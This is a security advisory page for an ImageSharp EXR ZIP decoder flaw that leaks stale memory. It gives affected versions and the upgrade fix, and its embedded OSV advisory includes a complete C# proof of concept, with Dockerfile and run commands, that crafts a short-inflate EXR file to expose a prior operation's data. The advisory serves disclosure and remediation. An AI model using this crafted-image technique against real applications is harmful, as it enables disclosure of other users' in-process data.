CVE-2026-106111: ImageSharp EXR ZIP Decoder Can Expose Vulnerability
MODERATECVE-2026-106111 is a MODERATE (CVSS 5.9) exr zip decoder can expose vulnerability (CWE-226: Sensitive Information in Resource Not Removed Before Reuse) affecting ImageSharp libraries in the NuGet ecosystem. The issue involves exr zip decoder can expose stale allocator data after a short inflate. Remediation is available by upgrading affected packages to version 4.1.2.
CVE-2026-106111 at a Glance
Security Impact
CVSS: 5.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-106111
To remediate this vulnerability, upgrade all affected ImageSharp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade SixLabors.ImageSharp to 4.1.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for SixLabors.ImageSharp
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-106111, inspect your project dependencies for ImageSharp:
inspect dependencies for SixLabors.ImageSharp
Analyze the terminal output to locate any version of ImageSharp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-226: Sensitive Information in Resource Not Removed Before Reuse, where the product releases a resource such as memory or a file so that it can be made available for reuse, but it does not clear or "zeroize" the information contained in the resource before the product performs a critical state transition or makes the resource available for reuse by other entities. In ImageSharp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-106111 Affected ImageSharp Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
SixLabors.ImageSharp
|
NuGet |
≥ 4.0.0
< 4.1.2
|
4.1.2
|
References
Frequently Asked Questions
What is CVE-2026-106111?
Which ImageSharp versions are affected?
What version fixes CVE-2026-106111?
Is SixLabors.ImageSharp affected?
What is the CVSS score of CVE-2026-106111?
What CWE is associated with CVE-2026-106111?
How can I check NuGet dependencies for CVE-2026-106111?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4q3p-rj5x-xv7p",
"modified" : "2026-10-07T20:24:42Z",
"published" : "2026-10-07T20:24:42Z",
"aliases" : [ "CVE-2026-106111" ],
"summary" : "ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate",
"details" : "## Summary\n\nA crafted ZIP-compressed OpenEXR image can return stale memory from a prior\nImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty\ninflate result shorter than the EXR block's required size, then the EXR decoder\nreads the full expected block.\n\nThis is a process-local, cross-operation information-disclosure defect. It is\nrelevant when an application uses the shared `Configuration.Default` allocator\nfor separate image operations and exposes pixels or output derived from a later\nattacker-controlled EXR decode. Whether that creates a network attack path\ndepends on the host application.\n\nNo active exploitation is known.\n\n## Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected published releases: **4.0.0, 4.1.0, and 4.1.1**\n- Affected range: `>= 4.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nEXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.\n## Details\n\nFor ZIP/ZIPS EXR compression, [`ExrDecoderCore`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/ExrDecoderCore.cs#L169-L205)\nallocates the expected block buffer without `AllocationOptions.Clean` and later\ninterprets the complete buffer as channel data. [`ZipExrCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/Decompressors/ZipExrCompression.cs#L25-L38)\naccepts a partial but non-empty inflate result: [`UndoZipCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/ExrBaseDecompressor.cs#L45-L75)\nrejects only `totalRead == 0`.\n\nOnly the returned prefix is reconstructed and interleaved into the destination\nblock. The remaining bytes retain allocator contents from a completed prior\noperation. `ExrDecoderCore` then converts those bytes into returned image\npixels.\n\n## Reproduction\n\nThe attached Docker PoC uses the published `SixLabors.ImageSharp` NuGet package\nversion 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that\ncontains the test value `0.27182817`. It then decodes a separate crafted 256x1\nFLOAT/ZIPS EXR.\n\nThe exploit payload inflates to 8 bytes although the declared image block needs\n1024 bytes. The control payload inflates to all 1024 bytes. The marker is\npresent only in exploit output.\n\n```sh\ndocker build -t imagesharp-4q3p-poc .\ndocker run --rm imagesharp-4q3p-poc exploit\ndocker run --rm imagesharp-4q3p-poc control\n```\n\nTest environment: Docker with `mcr.microsoft.com/dotnet/sdk:8.0`, .NET SDK\n8.0.424 / .NET 8, Debian 12, Linux ARM64.\n\nObserved output:\n\n```text\nimagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nmode=exploit\nprior-operation=valid-exr-encode-completed bytes=383\nprior-value=0.27182817\nleaked=True first-prior-value-pixel=4\n\nimagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nmode=control\nprior-operation=valid-exr-encode-completed bytes=383\nprior-value=0.27182817\nleaked=False first-prior-value-pixel=-1\n```\n\n## Suggested remediation\n\nReject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected\nuncompressed byte count. Clearing the destination buffer is defense in depth,\nbut exact-length validation is required before parsing any decompressed bytes.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing System.Buffers.Binary;\nusing System.Globalization;\nusing System.IO.Compression;\nusing System.Reflection;\nusing System.Text;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats;\nusing SixLabors.ImageSharp.Formats.Exr;\nusing SixLabors.ImageSharp.Formats.Exr.Constants;\nusing SixLabors.ImageSharp.PixelFormats;\n\n// This performs two independent completed ImageSharp operations in one process.\n// The first is a valid EXR encoding containing a test value. The second is a\n// malformed EXR decode whose short ZIP result exposes that value from the\n// allocator shared through Configuration.Default.\ninternal static class Program\n{\n private const int PriorWidth = 64;\n private const int AttackerWidth = 256;\n private const float PriorValue = 0.271828182f;\n\n private static int Main(string[] args)\n {\n bool exploit = args.Length == 0 || args[0] == \"exploit\";\n if (args.Length > 0 && args[0] is not (\"exploit\" or \"control\"))\n {\n Console.Error.WriteLine(\"usage: final-4q3p [exploit|control]\");\n return 2;\n }\n\n Assembly imageSharp = typeof(Image).Assembly;\n string informationalVersion = imageSharp\n .GetCustomAttribute<AssemblyInformationalVersionAttribute>()?\n .InformationalVersion\n ?? \"(missing)\";\n Console.WriteLine($\"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}\");\n Console.WriteLine($\"mode={(exploit ? \"exploit\" : \"control\")}\");\n\n EncodePriorOperation();\n\n // Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024\n // uncompressed bytes. The control payload supplies all 1024 bytes.\n // The exploit payload supplies eight non-empty bytes.\n byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float));\n using Image<RgbaVector> result = Image.Load<RgbaVector>(\n new DecoderOptions { Configuration = Configuration.Default },\n new MemoryStream(exr));\n\n result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory);\n int firstLeak = FindPriorValue(memory.Span);\n\n Console.WriteLine($\"prior-value={PriorValue.ToString(\"R\", CultureInfo.InvariantCulture)}\");\n Console.WriteLine($\"leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}\");\n\n if ((firstLeak >= 0) != exploit)\n {\n Console.Error.WriteLine(\"unexpected disclosure result\");\n return 1;\n }\n\n return 0;\n }\n\n private static void EncodePriorOperation()\n {\n using var previousImage = new Image<RgbaVector>(PriorWidth, 1);\n for (int x = 0; x < PriorWidth; x++)\n {\n previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f);\n }\n\n using var encoded = new MemoryStream();\n previousImage.Save(encoded, new ExrEncoder\n {\n Compression = ExrCompression.Zips,\n PixelType = ExrPixelType.Float,\n });\n\n Console.WriteLine($\"prior-operation=valid-exr-encode-completed bytes={encoded.Length}\");\n }\n\n private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels)\n {\n int expectedBits = BitConverter.SingleToInt32Bits(PriorValue);\n for (int x = 0; x < pixels.Length; x++)\n {\n if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits)\n {\n return x;\n }\n }\n\n return -1;\n }\n\n private static byte[] BuildAttackerExr(int inflatedBytes)\n {\n byte[] compressed = ZlibCompress(new byte[inflatedBytes]);\n using var output = new MemoryStream();\n using var writer = new BinaryWriter(output);\n\n writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic\n writer.Write((byte)2);\n writer.Write(new byte[] { 0, 0, 0 });\n\n using (var channels = new MemoryStream())\n using (var channelWriter = new BinaryWriter(channels))\n {\n WriteString(channelWriter, \"R\");\n channelWriter.Write(2); // FLOAT\n channelWriter.Write((byte)0);\n channelWriter.Write(new byte[] { 0, 0, 0 });\n channelWriter.Write(1);\n channelWriter.Write(1);\n channelWriter.Write((byte)0);\n WriteAttribute(writer, \"channels\", \"chlist\", channels.ToArray());\n }\n\n WriteAttribute(writer, \"compression\", \"compression\", new byte[] { 2 }); // ZIPS\n WriteBox(writer, \"dataWindow\");\n WriteBox(writer, \"displayWindow\");\n WriteAttribute(writer, \"lineOrder\", \"lineOrder\", new byte[] { 0 });\n\n byte[] one = new byte[4];\n BinaryPrimitives.WriteSingleLittleEndian(one, 1F);\n WriteAttribute(writer, \"pixelAspectRatio\", \"float\", one);\n WriteAttribute(writer, \"screenWindowCenter\", \"v2f\", new byte[8]);\n WriteAttribute(writer, \"screenWindowWidth\", \"float\", one);\n writer.Write((byte)0); // end of header\n\n long chunkOffset = output.Position + sizeof(ulong);\n writer.Write((ulong)chunkOffset);\n writer.Write((uint)0); // scanline\n writer.Write((uint)compressed.Length);\n writer.Write(compressed);\n writer.Flush();\n return output.ToArray();\n }\n\n private static void WriteBox(BinaryWriter writer, string name)\n {\n using var value = new MemoryStream();\n using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true))\n {\n box.Write(0);\n box.Write(0);\n box.Write(AttackerWidth - 1);\n box.Write(0);\n }\n\n WriteAttribute(writer, name, \"box2i\", value.ToArray());\n }\n\n private static byte[] ZlibCompress(byte[] source)\n {\n using var compressed = new MemoryStream();\n using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true))\n {\n zlib.Write(source, 0, source.Length);\n }\n\n return compressed.ToArray();\n }\n\n private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value)\n {\n WriteString(writer, name);\n WriteString(writer, type);\n writer.Write(value.Length);\n writer.Write(value);\n }\n\n private static void WriteString(BinaryWriter writer, string value)\n {\n writer.Write(Encoding.ASCII.GetBytes(value));\n writer.Write((byte)0);\n }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n <PropertyGroup>\n <OutputType>Exe</OutputType>\n <TargetFramework>net8.0</TargetFramework>\n <Nullable>enable</Nullable>\n <ImplicitUsings>enable</ImplicitUsings>\n </PropertyGroup>\n <ItemGroup>\n <PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" />\n </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\n\nWORKDIR /poc\nCOPY final-4q3p.csproj Program.cs ./\n\n# Debug is intentional: ImageSharp 4.1.1's package build target reports a\n# missing-license warning rather than an error in this configuration. The\n# program is still compiled against the published 4.1.1 NuGet assembly.\nRUN dotnet restore && dotnet build -c Debug --no-restore\n\nENTRYPOINT [\"dotnet\", \"bin/Debug/net8.0/final-4q3p.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-4q3p-poc .\ndocker run --rm imagesharp-4q3p-poc exploit\ndocker run --rm imagesharp-4q3p-poc control\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "NuGet",
"name" : "SixLabors.ImageSharp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "4.1.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.1.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-4q3p-rj5x-xv7p"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-106111"
}, {
"type" : "WEB",
"url" : "https://github.com/SixLabors/ImageSharp/pull/3187"
}, {
"type" : "WEB",
"url" : "https://github.com/SixLabors/ImageSharp/commit/3c43cf583fdd98eff0f451397affaa31c6a2e6b1"
}, {
"type" : "WEB",
"url" : "https://github.com/SixLabors/ImageSharp/commit/6ed2a275217d39301e76df42acec2a9533b39d2b"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/SixLabors/ImageSharp"
}, {
"type" : "WEB",
"url" : "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-226" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-07T20:24:42Z",
"nvd_published_at" : "2026-10-06T18:16:52Z"
}
}